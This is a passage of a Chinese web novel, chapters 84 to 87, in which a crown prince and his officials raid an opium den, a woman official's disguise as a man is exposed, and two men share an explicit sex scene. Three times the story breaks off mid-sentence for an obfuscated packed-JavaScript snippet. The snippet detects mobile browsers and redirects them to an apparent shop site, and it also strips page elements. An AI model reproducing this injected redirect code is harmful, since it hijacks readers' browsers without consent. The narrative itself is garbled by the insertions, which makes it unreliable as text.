他们要说正事,我便很自觉地要出门,突然想起一事,从袖中取出一封信递给萧玠:“说要殿下亲启。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608313|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧玠拆开信,眉头当即皱起,道:“信中说汤惠峦在京托病,实则是来了潮州,还说他此行目的……或与王云楠案有关。” 崔鲲立即问:“是谁的信?” 萧玠摇头,“没有署名。” 崔鲲接过信,也没有头绪,递给郑绥:“你精通书道,能不能看出什么?” 郑绥仔细看过,道:“这人改换过笔迹,看走势,应当有很扎实的馆阁体的底子。” 崔鲲皱眉,“馆阁体,那就是入仕之人,还有学子,世家子弟不管学习什么书法,大多也是拿馆阁体打底子的……那人可就海了去了。” 萧玠问我:“七郎,这封信是由谁送到的?” 我便摇头,“我回来时,便见这封信放在床头,并未见得送信之人。” 崔鲲看着信封上“皇太子殿下亲启”七字,眉头渐渐皱起,沉吟道:“殿下初至潮州,钱氏便状告州府,又发现黑膏有市,现在汤惠峦也到了……桩桩件件,干系太深。依臣之见,还是明日探过神楼,再做打算。” 萧玠颔首,“我叫龙武卫留意,明日再选十人,我们乔装同行。” “不能带人。”郑绥道,“市膏违律,寻常买卖一定隐秘,绝不会人多势众。我们带人,只怕打草惊蛇。还是出发之后,叫龙武卫跟踪埋伏即可。” 萧玠道:“绥郎细心,就这么办。” 郑绥又道:“还有,此事凶险,殿下最好留在公廨,等臣的消息。” 萧玠沉吟:“但汤惠峦在这个时间出现,又牵涉王云楠案,只怕也跟这次神楼大开有关。他如今官在补阙,又是京官,纵是你二人也不能违律扣押。但我是太子,百官有应令拜见之礼,又掌巡狩之权,有审问案涉之责。他若在,我能直接拿他回州府,少生枝节。” 他看向崔鲲,“依我看,还是鹏英留下。那地方到底不干净。” 我提醒道:“殿下最好再带个当地人,多少得听懂潮州话。他们万一有什么招数,不至于没有防备。” 崔鲲笑道:“殿下,臣母籍贯潮州,此事不在话下。而且李大为见过臣,倘若此事换作旁人,只怕惹他生疑。” 萧玠还要再说,郑绥已一锤定音:“那就一块同行,不要走散,不要单独行动。” 正事说完,他们三个便面对面坐着,又是无话。崔鲲倒挺有意思似的,看看这个看看那个,再瞧瞧我,才适时清了清嗓子:“怕一会雨下大了,要不,咱们先走着?” 郑绥也不再坐,和崔鲲一块告辞。崔鲲简直金口,雨势虽未瓢泼,但不用雨具决计不行了。 萧玠要出门送,被我们一同劝阻,我便撑伞送他二人出门。 雨打院中梅树瓦当,沙沙叮叮声如同拨弦。我们三个一路无话,直到门前将别,崔鲲已迈开步子,郑绥突然道:“殿下喘疾未愈,不能长久闭气。” 他顿一顿,“还望沈郎今后小心。” 我一愣,方知他说的哪一茬,笑道:“今日情动,未能自已,以后一定留意。” 等再回屋中,萧玠已脱了袍子,只着中衣。他怕冷,外头又加一件月白半臂,没有束腰带,正抱我那把琵琶拨弦。见我来,便笑问:“今日有写什么曲子吗?” 我也脱了外衣,抱过琵琶坐下,将为《龙虎谣》新演的曲子弹了,说:“新加了这一节过段曲,在第三折,二人定情合欢之夜。” 萧玠沉吟片刻,道:“这样弹是好,只是太过悱恻靡丽,失于雅正,不若换成大弦。” 我笑道:“殿下,欢好之事,何来雅正?难道不是越靡丽越好吗?” 萧玠一时没说话。天阴下来,更显得他面红欲滴。外头雨声嘈杂,映衬之下,他声音便如蚊呐:“你今天,是不是故意的?” “臣是故意的。”我撂下琵琶,站到他面前,抬手抚摸他下唇,“果然,见了小郑,殿下就不叫臣亲了。” 萧玠脸热得烫手,要不是此情此景,我定要怀疑他生了病。他不大好意思,却没有避开我的手,只小声说:“闺房之事,哪有叫旁人见的?” 我晓得他沿用现成的说辞,以闺房代指情事,但不打算如此放过他。我微微俯身,在他耳边道:“臣和殿下两个男人,哪来的闺房?殿下是把臣当女孩看呢,还是说,殿下自觉做这个香闺?” 萧玠这次有些着恼,急道:“你又乱说什么呀?我哪里把你……” 前一段亲得意犹未尽,我便要再吻。萧玠话没讲完,当即要躲,我便松开他,整理衣摆从他身边坐下,问:“人都走了,还不叫我亲?” 刚刚为了躲我,萧玠半个身子倚在案边,垂着头不讲话。我强敛了笑意,从榻边站起来,道:“那臣就先不打扰殿下了。听殿下的,晚上回来吃饭。” 我还没迈开步子,便听见雨声畔,萧玠低低道:“叫你亲的。” 85.第 85 章 阴雨天气,没有太阳,再有什么事,也算不得白日宣淫。 我压在萧玠身上,两个人脑袋拱着脑袋,吮吻也叫雨汽闷潮了。没过一会,我就放他喘气。萧玠吻起来常不会鼻息,终于得了空,大口大口喘起来。但我再一低头,他便立刻撑身张嘴迎上来。 我拿膝盖顶开萧玠双腿,没多时,萧玠就难受地哽了两声,叫道:“你、你再……” 我停了动作,好整以暇,“再怎么?” 萧玠耻于出口,我便催逼他,他当即带了哭腔,说:“再……再摸摸我……” 我心里不知什么念头作祟,抬手去覆,却没动,犹笑道:“殿下现在不怕是白天了,不怕一会有正事忙,不怕绥郎再回来了?” 萧玠被问得要急,就要躲开,却在这时候被擒住。我潦草住了手,轻声道:“殿下,脱了衣裳,我叫你更松快些。” 萧玠犹道:“你拉帐子。” 我笑道:“又没有人。” 萧玠蜷缩起来,道:“你拉上,你拉上我才好脱衣裳。” 他神色太紧张,我突然醒悟,玉陷园之事的烙痕并没那么容易过去。便将帐子落下来,又趿鞋下去,安抚他:“我去再看一遍门窗。” 等将门窗全部键好,我重新打开帐子,微微一愣。 萧玠的半臂和中衣脱在一旁,他浑身不着寸缕,见我来,忙侧卧下去。那样一片猩红世界,他将他白到刺目的身体展现无遗。 我说:“殿下,不要藏,咱们相好,这不是什么丢人的事。冲臣躺开。” 他垂着脸,缓慢冲我躺正。我从榻前跪下去。 萧玠当即一惊,忙要起来,被我握住脚踝,制止道:“殿下,别挣,我怕弄痛你。再分开一些。” 萧玠口中叫着,“你别,你别……”身体却不受控制地软成一团。 几乎是我一触到,他就哭起来,不知难受还是舒服。我不敢太过,萧玠却浑身哆嗦,只怕自己也不知道自己叫了些什么。我便佯装斥责:“雅正些,别叫唤。”又道:“这还不是大弦呢。” 这句话一出,他当即受不住,月光洒入红罗帐,留下一道浓痕。等萧玠能缓过神,嗓子都有些发哑,问我:“你要不要……来。” 我道:“你受不了,咱们以后再说。” 不待萧玠开口,我便再压在他身上吻住他,换他来伺候我。等我终于松开他时,萧玠从我身底倒下,也是汗泪迷蒙。 他缓了好一会,才往我怀里靠了靠,说:“等过一阵,再过一阵,我们那么试试,好不好?” 我抬手搂过他,笑道:“到时候臣可得连本带利地收租子了。” 他枕着我手臂,突然皱眉,抚摸我臂上纱巾,“怎么这么些天了,伤口还在渗血?” 我道:“今天摘琵琶没拿稳,给砸了一下。不妨事。” 萧玠忙要起身:“我帮你上药。” “人家郎中专门叮嘱,不叫经常动它。”我拉过被子裹住他,替他撩开头发,问,“明晚几时动身?” 萧玠道:“得等到亥时。回来要晚,你先睡。”又靠在我胸口,脸埋在被间,问:“对了,今日出去采风,有没有遇见什么趣闻?” 我笑道:“趣闻没见着,但回来时见了一片梨园,已有下的梨子。臣明天去问问主人,摘些梨子来给殿下熬膏吃——其实公廨那边的枇杷也好,只是结果晚,不应时,现下进不了殿下的肚子。” *** 萧玠初访黑膏窝点一事,史书着墨不多。反倒数代之后,自称其太玄孙者欲撰学业论文《梁秦骨血祭祀文化考》,因祭祀者通达鬼神也,不得不替萧玠一生神鬼怪异之事系年记录。这位太玄孙文献阅读笔记如下: 罪犯李大为,资深膏客,放在当代,当为戒毒所头等顽抗的治疗对象。其买膏之处(即毒品交易及容留吸毒之场所),称为蜃楼(或传为“神楼”,当误)。据载,楼处荒郊之外,乱葬岗中。白日空无一人,夜间歌舞升平。日出之后,又一破楼而已。为此,时人争论不休。一众人说是神仙降世,丝竹盈耳。另一众人则跳将出来,叫道鬼魅作祟,哪有什么丝竹,明明是十村八庄野狐狸叫,千坟万地死孩子哭。后据潮州州府公文,曰罪犯妆神,引诱膏客。贼人扮鬼,吓退村民。方能瞒天过海,趁夜行此罪恶之举。然蜃楼情形,余遍览群书,未见详述。独署名文正公李渡白之传奇《奉皇遗事续编》第八十二篇有所记载,然艺术加工,几近志怪,真实性有待考证。余自行翻译,附于此处(注意:此刻本版本信息不全,写脚注时记得搜集相关资料): 萧玠一行人抵达蜃楼时,亥时三刻,夜深人静,一轮殉葬所用的青铜车轮当空转动。仔细观察,那是一盘月亮。一天里最早生出的不是太阳是月亮,一天里最晚落下的不是太阳是月亮。月亮才是天下的主宰,仙庭的正统。月亮既是姮娥玉兔的栖息之宫,也是妖魔鬼怪的滋阴之所。月亮破开肚皮,青血脉脉,所有异类,沾之毕露原形。 萧玠看到,一片茫茫青雾中,走出一个身影。他长着灰兔脑袋,身穿布衣短打,手中红灯笼散发出幽幽青光。 萧玠一眼认出,这就是和他们交易的李大为的真身。无他,只因其师李寒手记有载,尝有灰兔,眼若蒙翳,唇如染血,好食其子,非为果腹而为乐也。果然,灰兔三瓣嘴唇一张,漏出黑黄板牙时也漏出李大为的声音:“来也来也,神楼就在前方不远,天外天之外,面前面之前。” 跟随李大为,三人走向乱葬岗,岗上众坟耸动,群鸦歌唱。月亮光下,每只乌鸦如青铜打造,闪闪发亮。每个土包如油脂浸润,阵阵馨香。人血人肉是生命最好的肥料,培育禽兽,滋养花草。夜风刮过,野草叫嚣,迈过山岗时,萧玠望见高楼一座,乌漆嘛黑,浑似堆肥,想必正是神楼无疑。萧玠心想,何等神楼,不过危楼所设之障眼法耳。他这些想法,瞒得过李大为瞒不过神鬼,瞒得过神鬼瞒不过月亮。跋涉山岗时,月中射下三箭,萧玠当胸而中,左右同时砰砰两声。 一瞬间,崔鲲身形烟消,郑绥身形云散。崔鲲变作羊大,衣领处钻出一颗如同麒麟的脑袋,双眼有神,黑毛油亮,眉心额间生出长长一角。郑绥更要高大,浑身雪白,鬃毛根根如同银线。萧玠望之,心中亲切又感动。左边崔鲲,多么像老师画中遗神。右边郑绥,简直是阿爹青春之身。崔鲲踏步从容,郑绥四蹄矫健,天上月亮,睁开巨眼。突然之间,飞沙走石,形震魂颠。 李大为兔眼冒光,四爪仆地,吴牛见月般望着天空惊喘不断,放声叫道:“楼起也,楼起也!” 萧玠看到,天外天外,黑楼颤抖,轰然陷落。面前面前,青光万道,陡然放射。一座神楼拔地而起,形似西天宝塔。一三五七九层塔身,垒砌琉璃片青闪闪,镶嵌堇青石青灿灿。二四六八十层楼形,搭建月桂木青森森,装饰天水绸青幽幽。塔前一座铁青大门,门高入云,门上生眼睛百千,有的暗送秋波,有的四射怒火。门前四条细狗,穿戴盔甲,嘴衔铁戟,当为守阃者四名。 李大为匆忙上前,打躬作揖,又奉黄金,笑道:“今日货已送到,有劳仙长通禀。” 一条狗口咬黄金,一条狗上下打量。一狗记账,一狗笑露獠牙森森:“今日肉单,一獬豸,一白马,一野鹤。检疫合格,肉质达标。可以餐之,开口开口!” 一狗仰头则众狗仰头,万张狗嘴射出万支嚎叫,宛如象牙利箭,随滚滚青烟飞向月亮,迸溅击打玻璃的声响。月亮脸上,留下无数疤疮。青黑脓血自疮处流泻,洒向大门,如同无数玻璃碎渣,刺得满门眼珠应声破裂,扑哧刺啦,青光四溅。紧接着,青色血雾当空炸碎,如同数万条青色鞭炮点燃。滚滚青烟后,轰隆哐啷,仙门中开,如同血口大张。李大为四脚扑朔,跳入门中。萧玠咬紧牙根,紧随入内。 甫入门,便闻芳香滚滚,尤胜兰臭。青色香气铺天盖地,犹如苏州丝绸,又似美妇人一双手,钻入衣襟滑溜溜。上方香气朵朵,由无数蛇形青烟自下方汇就。萧玠往下看到源头: 无数杯盏之中,青红酒液摇晃。无数香灯之上,青黑膏体点燃。香烟四起,香膏满楼。满座宾客,俱为禽兽。狐狸凭栏吞云,猞猁伏桌吐雾。青牛赤膊掷骰,白羊半露□□。野猪吃膏,为与鬣狗交卝欢助兴,蟒蛇赢注,即与孔雀盘绕合卝媾。一张象牙床,无数禽鸟交颈缠绵。四脚八仙桌,万众玲珑骰撒溅人血。 床上唱道:“淫也淫也,云雨聚散为仙霖。” 桌上唱道:“赌也赌也,点数大小为神物。” 众人齐声唱道:“官府打淫又打赌,岂知淫赌是仙物。 换了老婆卖子女,不必再受今生苦。 更有仙膏落红尘,红尘慈悲赐世人。 食膏如仙绝米粒,飘飘荡荡入天门。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609059|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 膏满又换骰与女,美色占魂乐占身。 我食膏来又饮酒,一人吃喝足家门!” 满楼上下,仙雾蒸腾,万籁齐发。膏也膏也,实为淫者赌者再生父母,嫖客赌徒寄身之处。萧玠观之,一膏入口,狐狸美面,顿作骷髅。一骰出手,雄狮臂膀,腐烂血肉。郑绥掩他于后,四蹄顿地,两耳上竖,作出警戒之姿,冲锋之阵。崔鲲目中射出两条金黄闪电,斩破青雾,嗖然游荡各个角落。 突然,她喉声低沉,如雷将至:“看二楼楼头,豺狼之前,那头两面之兽。” 萧玠望向二楼,楼边凭一男子,白脸红额,实玉面狐狸一头,发髻后梳,遮掩脑后另一副面孔。其言笑款款,从一狼手中接杯,一豺为其倒酒。酒液倾注,青光闪烁,如人血含毒,蛇蟾吐唾。 萧玠惊道:“是汤惠峦么?” 尚不待崔鲲答复,狐狸已饮空杯盏,喉结吞吐滴溜溜。 萧玠一颗心凉了半截,当朝官吏,入此楼如入家门,饮此膏如饮美酒。何愁此香毒不能流窜天下,安知庙堂无作罂粟之宫! 萧玠神魂不定间,已听玉面狐狸汤惠峦道:“如此美物,只沦于山野,难免可惜。” 那豺道:“非也非也,此物流传之广,便如秦大公之艳情诗,皇太子之春宫图。下至草泽,上达天宫。无所不在,无孔不入。” 汤惠峦奇道:“天宫严禁,如何流入?” 豺一拍胸脯,正要开口,那狼又满一杯递去,道:“别说天宫,只看朝中便知一二。朝中世族比之前代,虽已式微,然百足之虫死而不僵。温国公杨氏,嘉国公虞氏,太子师夏氏,老将门许氏,当红的郑氏,断根的王氏,更有那在野的岑氏杜氏,凋零的张氏汤氏。这诸公诸氏,焉不知膏为仙物?只问郎君,本家零落至此,岂不欲成仙乎?” 玉面狐狸满饮此杯,笑道:“愿乘彩气渡仙风,送上青冥击玉钟。” 楼下,萧玠对郑绥道:“人赃并在,立即擒获。” 郑绥道:“如今行动,岂非打草惊蛇?” 萧玠急道:“今日汤惠峦走脱,来日告他,便是空口白牙。他是京官,还要返回长安,只怕流毒朝野,祸及陛下!” 郑绥不再犹豫,当即道:“我上二楼。” 崔鲲也道:“你上左侧,我上右侧,两路包抄。请殿下立即出楼,率领龙武一举拿下。” 萧玠不敢耽搁,匆忙出门去寻埋伏不远处的尉迟松。找见人正要讲话,尉迟松突然双目圆睁,冲他身后叫道:“火!” 萧玠转头,见顷刻之间,蜃楼楼头青烟滚滚,青色火苗卷满楼身,随风上卷数丈之高,宛如青鳞巨蟒长尾飙舞。 萧玠高叫:“先救人!” 荒野远离水源,又多草木,一场大火止息后,那巍巍高楼只剩半截,一片飞灰里,像个旧烟囱。一地灰烬闪着荧荧青光,残余的青火苗钻来钻去,像腐肉里长出来的蛆。 一时之间,月亮畏火掩面,洒向凡间的青色容光尽敛,像收回一个术法或圈套,叫深深夜色里,满地禽兽俱还人形,哭哭啼啼,战战兢兢。 残楼坍圮,滚滚烟灰,萧玠掩住口鼻,不顾人拦,快步冲向废墟。他拨过一个又一个人,喉咙发堵,心快从嗓子眼里蹦出来。他吸了太多烟尘,终于忍不住弯腰呛咳,在咳得泪流满面之时,突然听龙武卫大叫:“小郑将军!” 萧玠顾不得其他,快步冲上前去,被郑绥一条手臂牢牢抱住。萧玠握紧他臂弯,急声问:“你没事,鹏英呢,鹏英在哪里?” 郑绥扶住他,道:“鹏英无事,但在膏客里发现了……” 话音未落,便听不远处有男人叫道:“你可想清楚了,我是你亲堂叔,你真要抓我?” 萧玠转头,见龙武卫的团团包围圈里,无数膏客淫乐者跪在地上瑟瑟发抖,其间一个男人怒目圆睁,浑身散发阿芙蓉膏经过炙烤的青黑气味。他对面,崔鲲脸沾烟灰,挥手喝道:“拿下!” “好,好!好一个大义灭亲的崔使君!”男人看见萧玠,宛如看到一朵新绽罂粟,目光好似一双青色鬼手。他被龙武卫叉在地上,用响彻荒岗的声音喊道:“太子殿下,草民要揭发崔鲲的欺君大罪!她不是什么崔刺史崔相公,她是这位小郑将军的妻房,是清河崔氏的三娘子!崔燕微男扮女装科举入仕,欺君大罪罪无可赦!请殿下莫要徇私,扣押处置!” 86.第 86 章 人犯崔渝,清河崔氏旁支,的确是崔鲲堂叔。当年跟随细柳营南下,在潮州安家落户。 时近三更,潮州府狱仍灯火通明。崔鲲已更换官服,在折冲府卫队卫护下走进牢狱。 崔渝一见她便哈哈笑道:“侄女,你纵使穿上这身官服官帽也做不得男人,可别贻笑大方了,我都替你娘丢人!” 卫队长当即跨上前,拎起崔渝衣领就要扬手,已被崔鲲喝止:“住手。” 她神色不更,从椅中坐下,“堂叔自己招吧,是来买,还是卖。所为之事,是淫乐、赌博还是阿芙蓉膏?” 崔渝被掼在地上,冷笑一声:“你欺君之罪尚未判定,就这样狐假虎威。崔燕微,五十步笑百步罢了。” “陛下一日未下旨罢免,我一日是潮州刺史,管辖潮州境内诸事,自然,也有权锻炼潮州狱所有人犯。”崔鲲道,“笞板已经备好,就看堂叔是不是非要吃这皮肉之苦了。” 卫队长会意,命人将刑具抬到跟前。一条长凳,外有两条长板,只是狱中昏黑,看不分明。 崔鲲问:“是什么杖?” 卫队长道:“是小杖。” 崔鲲看向崔渝,解释道:“古时笞则用竹,今则用楚,这‘楚’指的就是荆条。堂叔如何也是崔氏之后,寻常小杖只怕配不上门楣。” 卫队长会意,“卑职换大杖来。” 崔渝听要受杖,当即叫喊:“我是你堂叔,你打我是不孝!咱们陛下的新律里可特意写了,犯不孝者杖责下狱,更别说你的官职能不能保了!” 崔鲲含笑道:“堂叔还记得新律。那堂叔记不记得新律对嫖客赌徒食膏者的惩处?” 崔渝浑身一紧,只听崔鲲冷声开口:“堂叔若不记得,我背给你听。新律卷四增补第二十条,持阿芙蓉膏不满四两、食膏、与他人膏、从医骗膏者,杖三十,锁系游街,抄没膏资。持阿芙蓉膏不满十两,游街如故,杖六十,罚银五十两。如果容留他人食膏,损伤的可就不只皮肉。” 崔鲲敲了敲桌案,“堂叔,这蜃楼总不会是你的产业吧?若是,您也放心,就算诸位兄弟赶不到,你我叔侄一场,我也会为堂叔张席收尸。” 崔渝直觉汗如雨下,里衣已经黏在后心,犹强自叫道:“你放肆!我清河崔十八郎,岂是如此凶恶之徒!” “这么说,蜃楼卖膏者与你无关?” “自然无关!” “有何凭证?”崔鲲道,“堂叔说自己不是蜃楼经营者,那它的主人是谁?” 崔渝叫道:“肯定是万千家底,如何也不是我!” 崔鲲道:“你见过他?” 崔渝虽不肯折颜向她低头,但惧怕刑狱,道:“粗略见过一次,不知是不是大东家,但怎么也是个管事。” “是男是女,什么形容?” “男人,戴着斗笠,看不清脸。个头中等,不算年轻,如何也是个中年人。” 看不清脸。 崔鲲继续问:“他讲什么话?” “官话。” “什么口音?” “没有口音,地地道道的雅言正音。”崔渝道,“要么是中原大家,要么就是专门有官话师傅教习过,如何也该是高门大户,可不就万千家底么?” 崔鲲问:“堂叔是如何看出他是东主?” 崔渝道:“蜃楼高有十层,第九层就有人看管,第十层更是没人能进,专门有一把青铜大锁关着。我上个月来,吃了两杯,就看见第十层门开,出来个戴斗笠的人。心里好奇,等他下楼时跟过几步,听他和几个娘子说话,像察觉我跟着,人又多,一会就没见着了。” 崔鲲微微皱眉。 这些消息不能说没用,可连面貌都瞧不见,用处不大。 崔鲲冲卫队长道:“再点盏灯。” 她便拿了卷画像上前,从崔渝面前展开,问:“这个人,堂叔有没有见过?” 崔渝仔细辨认,道:“这不是汤家的二郎吗?” 崔鲲循循善诱:“他也在楼中?” 崔渝皱眉,“什么楼中,这不今年的新科榜眼、新任的户部员外郎吗,打马游街谁没见过?这小子也算一表人才,却叫你压了一头。你也是胆大包天,不顾欺君大罪,竟敢这么抛头露面!要不是认识你的都是自家人,但凡有个外人叫出来,容得你小命留到今天?” 崔鲲收起画像,道:“那堂叔今天公然叫嚷,是奔着我的命去的。” 崔渝脸上一阵青一阵白,叫道:“是你要拿我啊,崔燕微,是你这个不肖之女不仁在先!” “有我这样状元及第的不肖之女,崔家真是烧了高香。”崔鲲不同他啰嗦,起身要走,临到牢门前听崔渝大喊:“崔燕微,别以为你是太子亲信就能全身而退,太子也没法只手遮天!你男扮女装的事捅到朝上,想想那些为官做宰的要怎么搞你?你当黜置大使的时候得罪了不少人吧?十年之前的户部侍郎裴玉清,可是当堂验明正身,一头撞死在含元殿上!崔燕微,你就不怕她就是你来日的下场!” 崔鲲停住脚步,目如闪电,砰地射在崔渝脸上。旋即,她高声笑道: “好,那就请堂叔睁开眼,看我到底是人头落地,还是入阁拜相!” *** 郑绥刚跨进州府公廨,萧玠便急忙迎上前,问:“如何?有没有找到汤惠峦?” 外头又下了雨,郑绥没打伞,也没来得及穿甲,一身青衣已沾湿一片。他看着萧玠,垂首抱拳,“是臣无能。” 萧玠蹙眉,“龙武卫在外已成包围,楼中人可以说是插翅难飞,更有一场大火在,汤惠峦怎么可能逃掉?” 郑绥道:“这也是臣不解之处。臣问过尉迟将军,当夜龙武卫全神戒备,保证无一人走脱现场。但在场之人,的确没有他。” 萧玠问:“遇难者也验看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611821|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过?” 郑绥道:“身份已经核实完毕了。” 萧玠正想再说什么,就听门上叩了两叩,抬头见是沈娑婆收了油纸伞,提一只匣子进来。他冲萧玠笑道:“早晨吃药的时辰,殿下又给忘了。” 嗓音轻柔,像梨花沾了酒。萧玠一听见,眼睛里的光芒瞬间柔和。郑绥顺着这笑音,顺着萧玠的目光,第一次认真打量沈娑婆。 脸面素净,五官却秾丽至极,眼角痣若沁血,却不如一双乌黑瞳子夺目。这样一副好皮囊,若早生二十年,只怕堪与盛年的秦灼相与颉颃,却比秦灼旖旎许多。秦灼锋芒毕露的明艳跟前,沈娑婆的美丽更像一溪春夜的暗流。 外头雨声未停,沈娑婆身上也略染水汽,竟有些烟雨朦胧的韵致。他像那天一样,周到地向郑绥微笑:“郑将军好。” 郑绥见萧玠踱到他跟前咬耳朵:“怎么冒雨来了?” 沈娑婆笑道:“臣不来,殿下早间就不吃药了?这药一回不能落,殿下这样亏待身体,身体就折腾你。” 萧玠也不犟嘴,打开匣子,见一碗汤药外,还有一碟点心,一碗粥食。 沈娑婆道:“那药伤胃,先吃早饭。你总要吃甜,专门用牛乳桂花煮的粥,那碟子是奶酥,只许吃两个。” 萧玠道:“这样多,我只吃得下粥,还要吃药。” 沈娑婆道:“吃不下的我吃。”又对郑绥道:“将军用没用过早饭,要么一道?只是将军行伍之人,这些东西太少,我再去买一些来。” 郑绥便道:“多谢费心,路上用过了。” 这一会,萧玠已将粥吃完,正要吃药,沈娑婆往屋里打量一圈,欲言又止,终究问:“崔……使君可好?” “怎么这么问?”一道闪电从心头化过,萧玠搅动药碗的手腕一滞,抬头问,“七郎,你是不是听说了什么?” 沈娑婆有些迟疑:“从路上听说,崔刺史并非男儿。” “路上?”郑绥眉头拧起,“是来的路上?外面的议论?” 沈娑婆点点头。 萧玠心口一窒,勉强镇定下来,“外面既有议论,肯定不止这件事……除了鹏英是女儿身,还说些什么?” “殿下勿要动气,清者自清,外头流言不过口舌而已。”沈娑婆看看萧玠神色,深吸口气,“都道崔刺史是郑将军的新婚妻子,将军远离朝中,为了笼络殿下……故献妻与东宫。刺史之仕途亨通,皆系于枕席之上。使一家之夫妻,俱为殿下之专宠。” 萧玠松开药碗,双臂剧烈颤抖起来。 郑绥忙要扶他坐下,萧玠却浑身一个哆嗦,抓住他手腕问:“鹏英呢?这会她堂叔也该审完了,她怎么没过来?” 两人对视一瞬,当即拔腿冲出门去,一气跑到公廨后院厢房。 雨声里,崔鲲房门紧闭。 郑绥登阶而上,刚要叩门,突然,门内响起重物落地之声。 87.第 87 章 郑绥当即踹开房门,萧玠紧随其后冲入门内。 屋里,边扶凳子边揉膝盖的崔鲲抬头,龇牙咧嘴又略带诧异地看着他们,“怎么了?” 萧玠力气一松,只觉双腿发软,站都站不稳,“你没事吧?” 崔鲲莫名:“啊?什么事?臣就是饿了,去案边拿块糕饼吃,一不小心叫凳子绊了一跤。” 她看看郑绥,又看看萧玠,“你们是不是听说了什么?” 萧玠还没缓过神,“什么?” “说我崔某人的乌纱和他郑将军的军印,都是从殿下床榻上赚来的呗。”崔鲲见两人目光躲闪,讶然道,“等等,你们不会以为我因此一时羞愤,就这么寻了短见吧?还真是啊?” 她哈哈笑道:“殿下,臣可是立志要图入凌烟阁的,若只因口舌之事就此轻生,臣凭什么做你的股肱、做大梁朝的栋梁,凭芝麻大的胆子和纸薄的脸皮吗?” 萧玠急道:“可你大白天还关着门,也不去前堂,我在外头听见响……你吓死我了!” 崔鲲整理衣衫,重新从书案后坐下,“臣白日闭门是怕潲雨,不去前堂,是因为臣在忙这个。” 萧玠走近一瞧,见案上摊着一份述职奏折,“你要回京?” “不是要,是一定。”崔鲲道,“殿下觉得,臣女扮男装之事一经揭发,还能旁若无事地留在潮州吗?不管结果如何,陛下必须将臣召还。左右要走,不如赶紧将潮州诸事理清头绪,好面圣陈奏。” 她看向萧玠,“殿下认为如此谣言,是福是祸?” 萧玠从一旁坐下,与郑绥对视一眼,“鹏英另有见解?” “祸兮福之所倚。”崔鲲含笑道,“黑膏之事浑水一滩,反而是臣这里东窗事发,让臣看出些眉目。” “崔渝指认我在昨天深夜,当场众人里,膏客嫖客全部下狱待审,龙武卫更不会出去乱嚼舌根。深夜之事清晨传遍,不过两个时辰,流言竟遍布大街小巷。殿下不觉得,此事有所预谋吗?既然预谋,说明对方早早策定以臣身份说事,意味着此人一早就知道臣是个女人。同时,他策划这出闹剧的目的之一,是调臣回京。”崔鲲反问,“那他为什么要调臣回京?” 她看着萧玠,“臣有两个推断。其一,不为其他,就为对臣进行针对打压。但臣想了想,此事可能性并不大。” 萧玠沉思,反倒是郑绥颔首,“你身后的其实不是殿下,是陛下。” 崔鲲点头,“陛下开女科,并非是选女作内闱之臣,而是为了鼓舞女子读书、为女子开一条入仕之路。臣男扮女装参加科举,其实与陛下殊途同归。臣以女儿身拔得头筹,只怕陛下还要恩赏,不仅不会惩处,还会回护。自然,一些臣工定然有所不满,必会大力攻讦,但天意在臣,那臣顶多是违反规制,陛下不会以欺君论处。” 崔鲲语中一顿,“既然揭发此事无法将臣彻底搞倒,那臣离开潮州最直接的影响,就是对殿下造成削弱。” 郑绥微微屏气。 为什么要削弱太子? 怕他培植势力?可他是皇帝的独子,天下早晚要交到他手里——这还是萧玠能活过二十岁的打算。 怕他割据谋反?更是笑话一篇,如果萧玠想要,皇帝能直接把性命舍给他。 那所图之事,只是为了限制萧玠现在的所行之事。 郑绥道:“先是鬻女,后是卖膏,王云楠案的余波不简单。” 崔鲲颔首,“现在局面扑朔迷离,但至少我们已经眼见汤惠峦出现在蜃楼,他是最明了直接的一条线索。” 萧玠了然,“所以你要回京。” “汤惠峦任职户部员外郎,是京官。官吏不得擅离辖地,京官不得擅出长安。汤惠峦一经败露,一定会立即赶回京都。如果臣能抓住他擅离职守,就能从他开头探查下去,如果不能……”崔鲲道,“他用过膏。” 那就可以请郎中诊脉。 皇帝严禁食膏,更别说身为官员知法犯法。重罚之下,未必不能开口。 “更何况,臣也有私心。”崔鲲笑了笑,“臣如果退避不前,别说女子入仕,女官制度怕要废了。此事一出,举朝官员必会大举攻讦,把臣一人之冒进安置到所有女人的品行上,更别提现在指名道姓地说臣秽乱宫闱。若任其诽谤,殿下信不信,今后世人说起我大梁女官,就是天下最尊贵的娼妓和宦海专享的禁脔。” “所以我才怕。”萧玠声音发紧,“鹏英,人言是能迫死人的。从前的裴侍郎岂是困于流言之人?最后还是被逼得撞死在殿上。我怕到时候事态一旦失控……” 